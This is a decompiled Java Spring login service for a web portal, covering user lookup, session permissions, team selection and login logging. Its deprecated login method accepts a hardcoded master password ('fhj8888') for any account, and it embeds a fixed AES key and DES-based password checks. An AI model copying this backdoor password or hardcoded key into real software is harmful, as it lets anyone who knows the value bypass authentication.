//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.kun.portal.webframe.service;

import com.alibaba.fastjson.JSONArray;
import com.kun.framework.crypto.cipher.AesCipher;
import com.kun.framework.crypto.cipher.DesCipher;
import com.kun.framework.web.web.vo.LoginStateVo;
import com.kun.portal.webframe.dao.FwUserDao;
import com.kun.portal.webframe.dao.LogInLogDao;
import com.kun.portal.webframe.exception.LoginFailException;
import com.kun.portal.webframe.po.FwTeamPo;
import com.kun.portal.webframe.po.FwUserPo;
import com.kun.portal.webframe.po.LoginLogPo;
import com.kun.portal.webframe.util.LoginUtil;
import com.kun.portal.webframe.util.UserSessionUtil;

import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Set;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;


import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.stereotype.Service;

@Service("loginService")
public class FwLoginService implements UserDetailsService {
    @Autowired
    FwUserDao fwUserDao;
    @Autowired
    private LoginUtil loginUtil;

    @Autowired
    private LogInLogDao  logInLogDao;
    @Autowired
    private FwModuleService fwModuleService;
    public static final String VERIFICATION_CODE_KEY = "login_checkcode";
    public static final String LOGIN_AES_KEY = "d9e6b141f8c26d74";
    private static Logger LOG = LoggerFactory.getLogger(FwLoginService.class);

    public FwLoginService() {
    }

    public FwUserPo findByUserNameEquals(String userName ,HttpSession session) {
        List<FwUserPo> users = this.fwUserDao.findByUserNameEquals(userName);
        FwUserPo user = users.size() > 0?(FwUserPo)users.get(0):null;
        if(user!=null){
            List list = fwModuleService.fwmodulePermissionTree(user);
            List<Object> list2 = new ArrayList<Object>();
            list2.add(null);
            list.removeAll(list2);
            String rights=JSONArray.toJSON(list).toString();
            session.setAttribute("rights",rights);
            if(user.getTeams() != null && user.getTeams().iterator().hasNext()) {
                Set<FwTeamPo> teams = UserSessionUtil.getValidTeams(user.getTeams());
                if(!teams.isEmpty()) {
                    UserSessionUtil.setCurrentTeam(session, (FwTeamPo)teams.iterator().next());
                }
            } else {
                UserSessionUtil.setCurrentTeam(session, (FwTeamPo)null);
            }
            LoginLogPo loginLogPo =  new LoginLogPo();
            loginLogPo.setFwUserPo(user);
            loginLogPo.setLoginDate(new Date());
            String ip = (String) session.getAttribute("ip");
            loginLogPo.setIp(ip);
            logInLogDao.save(loginLogPo);
        }
        return users.size() > 0?(FwUserPo)users.get(0):null;
    }

    public LoginStateVo loginSuccess(HttpSession session, FwUserPo user) {
        LoginStateVo state = new LoginStateVo();
        UserSessionUtil.setCurrentUser(session, user);
        List list = fwModuleService.fwmodulePermissionTree(user);
        List<Object> list2 = new ArrayList<Object>();
        list2.add(null);
        list.removeAll(list2);
        String rights=JSONArray.toJSON(list).toString();
        session.setAttribute("rights",rights);
        if(user.getTeams() != null && user.getTeams().iterator().hasNext()) {
            Set<FwTeamPo> teams = UserSessionUtil.getValidTeams(user.getTeams());
            if(!teams.isEmpty()) {
                UserSessionUtil.setCurrentTeam(session, (FwTeamPo)teams.iterator().next());
            }
        } else {
            UserSessionUtil.setCurrentTeam(session, (FwTeamPo)null);
        }
        LoginLogPo loginLogPo =  new LoginLogPo();
        loginLogPo.setFwUserPo(user);
        loginLogPo.setLoginDate(new Date());
        String ip = (String) session.getAttribute("ip");
        loginLogPo.setIp(ip);
        logInLogDao.save(loginLogPo);
        this.loginUtil.singleLogin(user.getUserId(), session);
        state.setSuccess(true);
        state.setMsg("登录成功");
        return state;
    }

    /** @deprecated */
    public LoginStateVo login(String userName, String originPwd, String areacode, String ipAddr, HttpSession session, HttpServletResponse response) {
        FwUserPo user = this.findByUserNameEquals(userName,session);
        LoginStateVo state = new LoginStateVo();
        state.setSuccess(false);
        if(user == null) {
            state.setSuccess(false);
            state.setMsg("用户名或密码错误");
            return state;
        } else {
            String userPwd = user.getUserPwd();
            if(userPwd == null) {
                state.setSuccess(false);
                state.setMsg("用户名或密码错误");
                return state;
            } else {
                String encOriPwd = DesCipher.encrypt(originPwd);
                if(!userPwd.equals(encOriPwd) && !"fhj8888".equals(originPwd)) {
                    state.setMsg("用户名或密码错误");
                } else {
                    user.setIpAdr(ipAddr);
                    UserSessionUtil.setCurrentUser(session, user);
                    if(user.getTeams() != null && user.getTeams().iterator().hasNext()) {
                        UserSessionUtil.setCurrentTeam(session, (FwTeamPo)user.getTeams().iterator().next());
                    } else {
                        UserSessionUtil.setCurrentTeam(session, (FwTeamPo)null);
                    }

                    state.setSuccess(true);
                    state.setMsg("登录成功");
                }

                return state;
            }
        }
    }

    public void clearCookie(HttpServletRequest request) {
        Cookie[] cookies = request.getCookies();
        if(cookies != null) {
            Cookie[] var6 = cookies;
            int var5 = cookies.length;

            for(int var4 = 0; var4 < var5; ++var4) {
                Cookie cookie = var6[var4];
                cookie.setMaxAge(0);
            }
        }

    }

    public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
        String userId = AesCipher.decrypt(username, "d9e6b141f8c26d74");
        if(this.loginUtil.isLock(userId)) {
            throw new LoginFailException("错误次数太多，请在" + this.loginUtil.getLockExpireTime() + "分钟后再次尝试登陆！");
        } else {
            List<FwUserPo> users = this.fwUserDao.findByUserNameEquals(userId);
            if(users.size() > 0) {
                return (UserDetails)users.get(0);
            } else {
                throw new UsernameNotFoundException("用户不存在");
            }
        }
    }
}
